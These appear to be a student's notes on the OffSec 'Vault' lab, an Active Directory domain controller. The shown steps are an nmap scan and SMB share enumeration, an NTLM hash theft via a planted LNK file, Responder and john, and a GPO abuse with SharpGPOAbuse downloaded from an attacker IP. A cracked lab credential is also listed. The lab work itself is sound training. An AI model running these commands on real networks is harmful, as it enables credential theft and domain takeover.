OffSec · Lab
Vault
IP: 192.168.117.172
set ip 192.168.117.172
Users / Passwords / Creds
anirudh : SecureHM
Nmap basic
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
49666/tcp open unknown
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49679/tcp open unknown
49706/tcp open unknown
49828/tcp open unknown
Nmap services
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-11 11:57:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vault.offsec, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vault.offsec, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-09-11T11:58:59+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: VAULT
| NetBIOS_Domain_Name: VAULT
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: vault.offsec
| DNS_Computer_Name: DC.vault.offsec
| DNS_Tree_Name: vault.offsec
| Product_Version: 10.0.17763
|_ System_Time: 2026-09-11T11:58:19+00:00
| ssl-cert: Subject: commonName=DC.vault.offsec
| Not valid before: 2026-09-10T11:53:05
|_Not valid after: 2027-03-12T11:53:05
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
49828/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-09-11T11:58:20
|_ start_date: N/A
NXC Banner
┌──(root㉿cophkali)-[~/oscp/labs/vault]
└─# nxc smb $IP
SMB 192.168.117.172 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:vault.offsec) (signing:True) (SMBv1:None)
Shares Enum
┌──(root㉿cophkali)-[~/oscp/labs/vault]
└─# smbmap -u 'Guest' -p '' -H $IP
[+] IP: 192.168.117.172:445 Name: 192.168.117.172 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
DocumentsShare READ, WRITE
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
SYSVOL NO ACCESS Logon server share
We have write permission on DocumentsShare
Foothold
NTLM Theft
┌──(root㉿cophkali)-[~/tools/ntlm_theft]
└─# python3 ntlm_theft.py -g lnk -s 192.168.45.233 -f legit
Upload it to the writeable share
sudo responder -v -I tun0
┌──(root㉿cophkali)-[~/oscp/labs/vault]
└─# john hashes --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
SecureHM (anirudh)
1g 0:00:00:02 DONE (2026-09-11 15:54) 0.3424g/s 3635Kp/s 3635Kc/s 3635KC/s Summerland58..Sabertooth
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
PrivEsc
Enumerating with powerview.ps1
*Evil-WinRM* PS C:\Users\anirudh\Documents> .\powerview.ps1
*Evil-WinRM* PS C:\Users\anirudh\Documents> get-gpo -name "Default Domain Policy"
DisplayName : Default Domain Policy
DomainName : vault.offsec
Owner : VAULT\Domain Admins
Id : 31b2f340-016d-11d2-945f-00c04fb984f9
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 11/19/2021 12:50:33 AM
ModificationTime : 11/19/2021 2:00:32 AM
UserVersion : AD Version: 0, SysVol Version: 0
ComputerVersion : AD Version: 4, SysVol Version: 4
WmiFilter :
*Evil-WinRM* PS C:\Users\anirudh\Documents> get-gppermission -guid 31b2f340-016d-11d2-945f-00c04fb984f9 -targettype user -targetname anirudh
Trustee : anirudh
TrusteeType : User
Permission : GpoEditDeleteModifySecurity
Inherited : False
We can edit/modify in domain
We need to use SharpGPOAbuse.exe
*Evil-WinRM* PS C:\Users\anirudh\Documents> wget http://192.168.45.233:80/SharpGPOAbuse.exe -o .\SharpGPOAbuse.exe
*Evil-WinRM* PS C:\Users\anirudh\Documents> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "Default Domain Policy"
[+] Domain = vault.offsec
[+] Domain Controller = DC.vault.offsec
[+] Distinguished Name = CN=Policies,CN=System,DC=vault,DC=offsec
[+] SID Value of anirudh = S-1-5-21-537427935-490066102-1511301751-1103
[+] GUID of "Default Domain Policy" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] File exists: \\vault.offsec\SysVol\vault.offsec\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] The GPO does not specify any group memberships.
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!
We have now added user anirudh to administrators
psexec to NT/AUTH
Proof
